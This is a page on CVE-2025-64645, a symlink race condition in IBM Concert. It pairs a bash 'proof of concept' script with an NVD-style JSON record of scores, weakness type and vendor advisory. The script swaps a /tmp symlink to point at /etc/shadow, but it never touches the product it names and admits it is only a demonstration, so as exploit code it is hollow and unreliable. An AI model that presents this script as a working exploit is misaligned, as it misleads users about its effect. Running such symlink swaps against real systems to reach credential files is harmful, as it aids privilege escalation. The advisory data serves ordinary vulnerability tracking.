CVE-2025-64645

#!/bin/bash # CVE-2025-64645 PoC - Symbolic Link Race Condition Privilege Escalation # Target: IBM Concert 1.0.0 - 2.1.0 # This PoC demonstrates the race condition vulnerability TARGET_DIR="/opt/ibm/concert" EXPLOIT_DIR="/tmp/exploit_$$_$(date +%s)" MALICIOUS_TARGET="/etc/shadow" mkdir -p "$EXPLOIT_DIR" cd "$EXPLOIT_DIR" # Create a malicious symlink that will be swapped ln -s /tmp/dummy temp_link echo "[*] Starting race condition exploit for CVE-2025-64645" echo "[*] Target: IBM Concert" echo "[*] Exploit directory: $EXPLOIT_DIR" # Function to swap symlink target swap_symlink() { rm -f temp_link ln -s "$MALICIOUS_TARGET" temp_link sleep 0.001 rm -f temp_link ln -s /tmp/dummy temp_link } # Attempt to win the race condition # Note: Actual exploitation requires precise timing and target-specific knowledge for i in $(seq 1 100); do swap_symlink & sleep 0.0001 done wait echo "[*] Race condition attempts completed" echo "[!] This is a demonstration script only" echo "[!] Actual exploitation requires detailed analysis of target binary"

{"cve": {"id": "CVE-2025-64645", "sourceIdentifier": "[email protected]", "published": "2025-12-26T15:15:47.213", "lastModified": "2025-12-29T17:38:35.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.1.0 could allow a local user to escalate their privileges due to a race condition of a symbolic link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "065602A3-1E93-487B-B667-4C40FF7D0094"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7255549", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}